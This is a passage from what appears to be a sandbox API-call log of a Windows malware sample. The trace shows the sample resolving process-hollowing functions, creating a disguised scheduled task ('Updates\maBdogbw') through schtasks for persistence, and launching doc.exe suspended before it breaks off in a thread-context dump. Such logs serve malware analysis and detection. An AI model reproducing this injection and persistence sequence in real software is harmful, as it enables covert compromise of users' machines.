y=249, color=0x23e6b0) returned 0x0 [0286.374] CoTaskMemAlloc (cb=0xd) returned 0x3b88b0 [0286.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f530, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.374] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.375] CoTaskMemFree (pv=0x3b88b0) [0286.385] CoTaskMemAlloc (cb=0x11) returned 0x35f930 [0286.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResumeThread", cchWideChar=12, lpMultiByteStr=0x284f568, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResumeThread", lpUsedDefaultChar=0x0) returned 12 [0286.386] GetProcAddress (hModule=0x772b0000, lpProcName="ResumeThread") returned 0x772c43a7 [0286.386] CoTaskMemFree (pv=0x35f930) [0286.397] CoTaskMemAlloc (cb=0xd) returned 0x3b8898 [0286.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f640, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.397] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.398] CoTaskMemFree (pv=0x3b8898) [0286.398] CoTaskMemAlloc (cb=0x1a) returned 0x35f2e0 [0286.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wow64SetThreadContext", cchWideChar=21, lpMultiByteStr=0x284f678, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wow64SetThreadContext", lpUsedDefaultChar=0x0) returned 21 [0286.398] GetProcAddress (hModule=0x772b0000, lpProcName="Wow64SetThreadContext") returned 0x77345933 [0286.398] CoTaskMemFree (pv=0x35f2e0) [0286.411] CoTaskMemAlloc (cb=0xd) returned 0x3b88b0 [0286.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f744, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.411] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.411] CoTaskMemFree (pv=0x3b88b0) [0286.411] CoTaskMemAlloc (cb=0x15) returned 0x35f930 [0286.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetThreadContext", cchWideChar=16, lpMultiByteStr=0x284f77c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0286.411] GetProcAddress (hModule=0x772b0000, lpProcName="SetThreadContext") returned 0x77345933 [0286.412] CoTaskMemFree (pv=0x35f930) [0286.417] CoTaskMemAlloc (cb=0xd) returned 0x3b88b0 [0286.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f844, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.417] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.417] CoTaskMemFree (pv=0x3b88b0) [0286.417] CoTaskMemAlloc (cb=0x1a) returned 0x35f2e0 [0286.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wow64GetThreadContext", cchWideChar=21, lpMultiByteStr=0x284f87c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wow64GetThreadContext", lpUsedDefaultChar=0x0) returned 21 [0286.418] GetProcAddress (hModule=0x772b0000, lpProcName="Wow64GetThreadContext") returned 0x772e799c [0286.418] CoTaskMemFree (pv=0x35f2e0) [0286.471] CoTaskMemAlloc (cb=0xd) returned 0x3b88b0 [0286.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284f948, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.471] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.471] CoTaskMemFree (pv=0x3b88b0) [0286.471] CoTaskMemAlloc (cb=0x15) returned 0x35f930 [0286.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetThreadContext", cchWideChar=16, lpMultiByteStr=0x284f980, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0286.472] GetProcAddress (hModule=0x772b0000, lpProcName="GetThreadContext") returned 0x772e799c [0286.472] CoTaskMemFree (pv=0x35f930) [0286.477] CoTaskMemAlloc (cb=0xd) returned 0x3b88b0 [0286.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fa3c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.477] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.477] CoTaskMemFree (pv=0x3b88b0) [0286.477] CoTaskMemAlloc (cb=0x13) returned 0x35f6d0 [0286.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAllocEx", cchWideChar=14, lpMultiByteStr=0x284fa74, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VirtualAllocEx", lpUsedDefaultChar=0x0) returned 14 [0286.478] GetProcAddress (hModule=0x772b0000, lpProcName="VirtualAllocEx") returned 0x772dd980 [0286.478] CoTaskMemFree (pv=0x35f6d0) [0286.490] CoTaskMemAlloc (cb=0xd) returned 0x3b8898 [0286.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fb30, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.490] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.491] CoTaskMemFree (pv=0x3b8898) [0286.491] CoTaskMemAlloc (cb=0x17) returned 0x35f930 [0286.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WriteProcessMemory", cchWideChar=18, lpMultiByteStr=0x284fb68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WriteProcessMemory", lpUsedDefaultChar=0x0) returned 18 [0286.491] GetProcAddress (hModule=0x772b0000, lpProcName="WriteProcessMemory") returned 0x772dd9b0 [0286.491] CoTaskMemFree (pv=0x35f930) [0286.506] CoTaskMemAlloc (cb=0xd) returned 0x3b88b0 [0286.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fc2c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.506] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.506] CoTaskMemFree (pv=0x3b88b0) [0286.506] CoTaskMemAlloc (cb=0x16) returned 0x35f6d0 [0286.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ReadProcessMemory", cchWideChar=17, lpMultiByteStr=0x284fc64, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadProcessMemory", lpUsedDefaultChar=0x0) returned 17 [0286.507] GetProcAddress (hModule=0x772b0000, lpProcName="ReadProcessMemory") returned 0x772dcfa4 [0286.507] CoTaskMemFree (pv=0x35f6d0) [0286.568] CoTaskMemAlloc (cb=0xa) returned 0x3b8898 [0286.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ntdll", cchWideChar=5, lpMultiByteStr=0x284fd24, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ntdll", lpUsedDefaultChar=0x0) returned 5 [0286.568] LoadLibraryA (lpLibFileName="ntdll") returned 0x778c0000 [0286.568] CoTaskMemFree (pv=0x3b8898) [0286.568] CoTaskMemAlloc (cb=0x19) returned 0x35f2e0 [0286.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ZwUnmapViewOfSection", cchWideChar=20, lpMultiByteStr=0x284fd50, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZwUnmapViewOfSection", lpUsedDefaultChar=0x0) returned 20 [0286.568] GetProcAddress (hModule=0x778c0000, lpProcName="ZwUnmapViewOfSection") returned 0x778dfc70 [0286.569] CoTaskMemFree (pv=0x35f2e0) [0286.581] CoTaskMemAlloc (cb=0xd) returned 0x3b8898 [0286.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x284fe18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0286.581] LoadLibraryA (lpLibFileName="kernel32") returned 0x772b0000 [0286.581] CoTaskMemFree (pv=0x3b8898) [0286.582] CoTaskMemAlloc (cb=0x13) returned 0x35f6d0 [0286.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateProcessA", cchWideChar=14, lpMultiByteStr=0x284fe50, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateProcessA", lpUsedDefaultChar=0x0) returned 14 [0286.582] GetProcAddress (hModule=0x772b0000, lpProcName="CreateProcessA") returned 0x772c1072 [0286.582] CoTaskMemFree (pv=0x35f6d0) [0287.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x105, lpBuffer=0x23dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0287.141] CoTaskMemAlloc (cb=0x20c) returned 0x3b83b0 [0287.142] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x3b83b0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 0x0 [0287.143] CoTaskMemFree (pv=0x3b83b0) [0287.143] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x23dcbc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming", lpFilePart=0x0) returned 0x22 [0287.213] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", nBufferLength=0x105, lpBuffer=0x23dd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe", lpFilePart=0x0) returned 0x2f [0287.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x23df90) returned 1 [0287.213] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\maBdogbw.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mabdogbw.exe"), fInfoLevelId=0x0, lpFileInformation=0x23e254 | out: lpFileInformation=0x23e254*(dwFileAttributes=0x2027, ftCreationTime.dwLowDateTime=0x1b110490, ftCreationTime.dwHighDateTime=0x1d7b45c, ftLastAccessTime.dwLowDateTime=0x1b110490, ftLastAccessTime.dwHighDateTime=0x1d7b45c, ftLastWriteTime.dwLowDateTime=0xe7058810, ftLastWriteTime.dwHighDateTime=0x1d7b45b, nFileSizeHigh=0x0, nFileSizeLow=0x9ba00)) returned 1 [0287.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x23df8c) returned 1 [0287.442] GetCurrentProcess () returned 0xffffffff [0287.443] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23e170 | out: TokenHandle=0x23e170*=0x24c) returned 1 [0287.450] GetCurrentProcess () returned 0xffffffff [0287.450] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23e140 | out: TokenHandle=0x23e140*=0x248) returned 1 [0287.452] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x23e174 | out: TokenInformation=0x0, ReturnLength=0x23e174) returned 0 [0287.453] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x2fa578 [0287.453] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0x2fa578, TokenInformationLength=0x24, ReturnLength=0x23e174 | out: TokenInformation=0x2fa578, ReturnLength=0x23e174) returned 1 [0287.454] LocalFree (hMem=0x2fa578) returned 0x0 [0287.457] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x23e09c, DesiredAccess=0x800, PolicyHandle=0x23e05c | out: PolicyHandle=0x23e05c) returned 0x0 [0287.460] LsaLookupSids (in: PolicyHandle=0x35f930, Count=0x1, Sids=0x285462c*=0x2854598*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), ReferencedDomains=0x23e078, Names=0x23e06c | out: ReferencedDomains=0x23e078, Names=0x23e06c) returned 0x0 [0287.463] LsaClose (ObjectHandle=0x35f930) returned 0x0 [0287.463] LsaFreeMemory (Buffer=0x338518) returned 0x0 [0287.463] LsaFreeMemory (Buffer=0x2fa578) returned 0x0 [0287.464] CloseHandle (hObject=0x248) returned 1 [0287.467] CoTaskMemAlloc (cb=0x20c) returned 0x3b83b0 [0287.468] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x3b83b0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0287.468] CoTaskMemFree (pv=0x3b83b0) [0287.468] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x23dc8c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0287.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x23dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0287.470] CoTaskMemAlloc (cb=0x20c) returned 0x3b83b0 [0287.470] GetTempFileNameW (in: lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpPrefixString="tmp", uUnique=0x0, lpTempFileName=0x3b83b0 | out: lpTempFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6bef.tmp")) returned 0x6bef [0287.472] CoTaskMemFree (pv=0x3b83b0) [0287.496] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp", nBufferLength=0x105, lpBuffer=0x23db50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp", lpFilePart=0x0) returned 0x31 [0287.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x23e068) returned 1 [0287.497] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6bef.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x248 [0287.497] GetFileType (hFile=0x248) returned 0x1 [0287.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x23e064) returned 1 [0287.497] GetFileType (hFile=0x248) returned 0x1 [0287.499] WriteFile (in: hFile=0x248, lpBuffer=0x28585cc*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x23e0f4, lpOverlapped=0x0 | out: lpBuffer=0x28585cc*, lpNumberOfBytesWritten=0x23e0f4*=0x66a, lpOverlapped=0x0) returned 1 [0287.500] CloseHandle (hObject=0x248) returned 1 [0287.516] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x35f588 [0287.516] LocalAlloc (uFlags=0x0, uBytes=0xb0) returned 0x35a7a8 [0287.517] ShellExecuteExW (in: pExecInfo=0x2859960*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="schtasks.exe", lpParameters="/Create /TN \"Updates\\maBdogbw\" /XML \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2859960*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="schtasks.exe", lpParameters="/Create /TN \"Updates\\maBdogbw\" /XML \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x388)) returned 1 [0289.059] LocalFree (hMem=0x35f588) returned 0x0 [0289.059] LocalFree (hMem=0x35a7a8) returned 0x0 [0289.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp", nBufferLength=0x105, lpBuffer=0x23dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp", lpFilePart=0x0) returned 0x31 [0289.064] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6bef.tmp")) returned 1 [0289.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", cchWideChar=42, lpMultiByteStr=0x23deac, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exeæ", lpUsedDefaultChar=0x0) returned 42 [0289.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x23dea8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x7fæ", lpUsedDefaultChar=0x0) returned 0 [0289.850] CreateProcessA (in: lpApplicationName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpCommandLine="", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x23df34*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x23e220 | out: lpCommandLine="", lpProcessInformation=0x23e220*(hProcess=0x338, hThread=0x33c, dwProcessId=0x588, dwThreadId=0x518)) returned 1 [0289.994] CoTaskMemFree (pv=0x0) [0289.998] GetThreadContext (in: hThread=0x33c, lpContext=0x2859a8c | out: lpContext=0x2859a8c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x13d26f2, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, 